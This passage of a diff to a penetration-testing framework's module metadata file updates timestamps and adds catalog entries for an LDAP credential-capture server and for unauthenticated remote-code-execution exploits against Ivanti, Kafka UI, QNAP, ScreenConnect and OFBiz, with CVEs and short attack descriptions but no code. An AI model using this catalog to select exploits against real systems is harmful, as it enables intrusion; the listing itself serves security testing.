"path": "/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_authbypass_hashdump",
|
||||
@@ -46895,7 +47077,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_file_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_file_enum",
|
||||
@@ -46905,7 +47087,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -46938,7 +47120,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_hashdump",
|
||||
@@ -46948,7 +47130,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -46981,7 +47163,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-07 16:55:44 +0000",
|
||||
"mod_time": "2024-02-28 17:18:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_login",
|
||||
@@ -47022,7 +47204,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_schemadump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_schemadump",
|
||||
@@ -47032,7 +47214,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -47065,7 +47247,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_version",
|
||||
@@ -47075,7 +47257,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -47108,7 +47290,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/mysql/mysql_writable_dirs",
|
||||
@@ -47118,7 +47300,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -49092,7 +49274,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-03-12 16:13:04 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_hashdump",
|
||||
@@ -49102,7 +49284,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -49137,7 +49319,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-06 15:06:25 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_login",
|
||||
@@ -49178,7 +49360,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_schemadump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_schemadump",
|
||||
@@ -49188,7 +49370,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -49221,7 +49403,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_version",
|
||||
@@ -49231,7 +49413,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -50101,7 +50283,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-27 10:23:18 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/rservices/rexec_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/rservices/rexec_login",
|
||||
@@ -50143,7 +50325,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-27 10:23:18 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/rservices/rlogin_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/rservices/rlogin_login",
|
||||
@@ -50185,7 +50367,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-27 10:23:18 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/rservices/rsh_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/rservices/rsh_login",
|
||||
@@ -53203,7 +53385,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/pipe_auditor",
|
||||
@@ -53213,7 +53395,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53248,7 +53430,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/pipe_dcerpc_auditor",
|
||||
@@ -53258,7 +53440,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53344,7 +53526,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-12-05 14:15:28 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enum_gpp",
|
||||
@@ -53354,7 +53536,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53394,7 +53576,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumshares",
|
||||
@@ -53404,7 +53586,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53439,7 +53621,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumusers",
|
||||
@@ -53449,7 +53631,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53485,7 +53667,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumusers_domain",
|
||||
@@ -53495,7 +53677,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -53533,7 +53715,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-06 15:06:25 +0000",
|
||||
"mod_time": "2024-02-28 16:24:16 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
@@ -53576,7 +53758,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-11-30 14:07:03 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_lookupsid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_lookupsid",
|
||||
@@ -53586,7 +53768,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
@@ -54825,7 +55007,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-14 14:48:26 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/eaton_xpert_backdoor",
|
||||
@@ -54871,7 +55053,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-14 17:27:19 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/fortinet_backdoor",
|
||||
@@ -55003,7 +55185,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-07-25 13:44:47 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/libssh_auth_bypass",
|
||||
@@ -55204,7 +55386,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-03-13 10:05:22 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_login",
|
||||
@@ -55246,7 +55428,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-22 17:24:26 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_login_pubkey",
|
||||
@@ -55271,11 +55453,17 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Daniel van Eeden <metasploit@myname.nl>"
|
||||
"Daniel van Eeden <metasploit@myname.nl>",
|
||||
"h00die"
|
||||
],
|
||||
"description": "Detect SSH Version.",
|
||||
"description": "Detect SSH Version, and the server encryption",
|
||||
"references": [
|
||||
"URL-https://en.wikipedia.org/wiki/SecureShell"
|
||||
"URL-https://en.wikipedia.org/wiki/SecureShell",
|
||||
"URL-https://datatracker.ietf.org/doc/html/rfc8732#name-deprecated-algorithms",
|
||||
"URL-https://datatracker.ietf.org/doc/html/draft-ietf-curdle-ssh-kex-sha2-20#page-16",
|
||||
"URL-https://datatracker.ietf.org/doc/html/rfc8758#name-iana-considerations",
|
||||
"URL-https://github.com/net-ssh/net-ssh?tab=readme-ov-file#supported-algorithms",
|
||||
"CVE-2008-5161"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -55287,7 +55475,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2024-03-05 17:18:24 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_version",
|
||||
@@ -55656,7 +55844,7 @@
|
||||
"telnet"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telnet/brocade_enable_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telnet/brocade_enable_login",
|
||||
@@ -55868,7 +56056,7 @@
|
||||
"telnet"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-31 17:10:07 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telnet/telnet_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telnet/telnet_login",
|
||||
@@ -57454,7 +57642,7 @@
|
||||
"winrm"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-06-14 00:40:33 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/auxiliary/scanner/winrm/winrm_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/winrm/winrm_login",
|
||||
@@ -58147,6 +58335,59 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_server/capture/ldap": {
|
||||
"name": "Authentication Capture: LDAP",
|
||||
"fullname": "auxiliary/server/capture/ldap",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"JustAnda7"
|
||||
],
|
||||
"description": "This module mocks an LDAP service to capture authentication\n information of a client trying to authenticate against an LDAP service",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-01-23 12:13:24 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/ldap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/ldap",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "Capture",
|
||||
"description": "Run an LDAP capture server"
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_server/capture/mssql": {
|
||||
"name": "Authentication Capture: MSSQL",
|
||||
"fullname": "auxiliary/server/capture/mssql",
|
||||
@@ -66718,14 +66959,18 @@
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Alvaro Muñoz",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
"wvu <wvu@metasploit.com>",
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module exploits a Java deserialization vulnerability in Apache\n OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for\n versions prior to 17.12.04.",
|
||||
"description": "This module exploits a Java deserialization vulnerability in Apache\n OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for\n versions prior to 17.12.01 using the ROME gadget chain.\n\n Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467\n and use the CommonsBeanutils1 gadget chain.\n\n Verified working on 18.12.09, 17.12.01, and 15.12",
|
||||
"references": [
|
||||
"CVE-2020-9496",
|
||||
"CVE-2023-49070",
|
||||
"CVE-2023-51467",
|
||||
"URL-https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz",
|
||||
"URL-https://ofbiz.apache.org/release-notes-17.12.04.html",
|
||||
"URL-https://issues.apache.org/jira/browse/OFBIZ-11716"
|
||||
"URL-https://issues.apache.org/jira/browse/OFBIZ-11716",
|
||||
"URL-https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
@@ -66749,7 +66994,7 @@
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2021-03-31 08:54:37 +0000",
|
||||
"mod_time": "2024-02-06 16:45:02 +0000",
|
||||
"path": "/modules/exploits/linux/http/apache_ofbiz_deserialization.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/apache_ofbiz_deserialization",
|
||||
@@ -72934,6 +73179,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/ivanti_connect_secure_rce_cve_2024_21893": {
|
||||
"name": "Ivanti Connect Secure Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-01-31",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sfewer-r7"
|
||||
],
|
||||
"description": "This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection\n vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti\n Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and\n 22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions\n 8.x and below are also vulnerable.",
|
||||
"references": [
|
||||
"CVE-2024-21893",
|
||||
"CVE-2023-36661",
|
||||
"CVE-2024-21887",
|
||||
"URL-https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis",
|
||||
"URL-https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis",
|
||||
"URL-https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure",
|
||||
"URL-https://shibboleth.net/community/advisories/secadv_20230612.txt"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-02-09 09:26:08 +0000",
|
||||
"path": "/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/ivanti_connect_secure_rce_cve_2024_21893",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/ivanti_csa_unauth_rce_cve_2021_44529": {
|
||||
"name": "Ivanti Cloud Services Appliance (CSA) Command Injection",
|
||||
"fullname": "exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529",
|
||||
@@ -73126,6 +73435,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/kafka_ui_unauth_rce_cve_2023_52251": {
|
||||
"name": "Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.",
|
||||
"fullname": "exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-09-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die-gr3y <h00die.gr3y@gmail.com>",
|
||||
"BobTheShopLifter and Thingstad"
|
||||
],
|
||||
"description": "A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing\n an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter\n at the `topic` section.",
|
||||
"references": [
|
||||
"CVE-2023-52251",
|
||||
"URL-https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251",
|
||||
"URL-https://github.com/BobTheShoplifter/CVE-2023-52251-POC"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x64, x86",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix/Linux Command"
|
||||
],
|
||||
"mod_time": "2024-02-14 21:33:50 +0000",
|
||||
"path": "/modules/exploits/linux/http/kafka_ui_unauth_rce_cve_2023_52251.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/kafka_ui_unauth_rce_cve_2023_52251",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/kaltura_unserialize_cookie_rce": {
|
||||
"name": "Kaltura Remote PHP Code Execution over Cookie",
|
||||
"fullname": "exploit/linux/http/kaltura_unserialize_cookie_rce",
|
||||
@@ -77649,6 +78020,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/qnap_qts_rce_cve_2023_47218": {
|
||||
"name": "QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi",
|
||||
"fullname": "exploit/linux/http/qnap_qts_rce_cve_2023_47218",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sfewer-r7",
|
||||
"Spencer McIntyre",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and\n QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage\n (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.\n\n The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.\n The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used\n during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully\n initialized, the quick.cgi component is disabled on the system.\n\n An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command\n injection, allowing the attacker to execute arbitrary commands on the device.",
|
||||
"references": [
|
||||
"CVE-2023-47218",
|
||||
"URL-https://www.qnap.com/en/security-advisory/qsa-23-57",
|
||||
"URL-https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Default"
|
||||
],
|
||||
"mod_time": "2024-02-15 17:12:11 +0000",
|
||||
"path": "/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/qnap_qts_rce_cve_2023_47218",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/raidsonic_nas_ib5220_exec_noauth": {
|
||||
"name": "Raidsonic NAS Devices Unauthenticated Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/raidsonic_nas_ib5220_exec_noauth",
|
||||
@@ -89829,7 +90262,7 @@
|
||||
"Linux x86",
|
||||
"Linux x86_64"
|
||||
],
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/linux/postgres/postgres_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/postgres/postgres_payload",
|
||||
@@ -89839,7 +90272,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -97745,6 +98178,73 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/connectwise_screenconnect_rce_cve_2024_1709": {
|
||||
"name": "ConnectWise ScreenConnect Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-02-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sfewer-r7",
|
||||
"WatchTowr"
|
||||
],
|
||||
"description": "This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create\n a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage\n this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7\n and below are affected.",
|
||||
"references": [
|
||||
"CVE-2024-1708",
|
||||
"CVE-2024-1709",
|
||||
"URL-https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8",
|
||||
"URL-https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/",
|
||||
"URL-https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass"
|
||||
],
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "x64, cmd",
|
||||
"rport": 8040,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
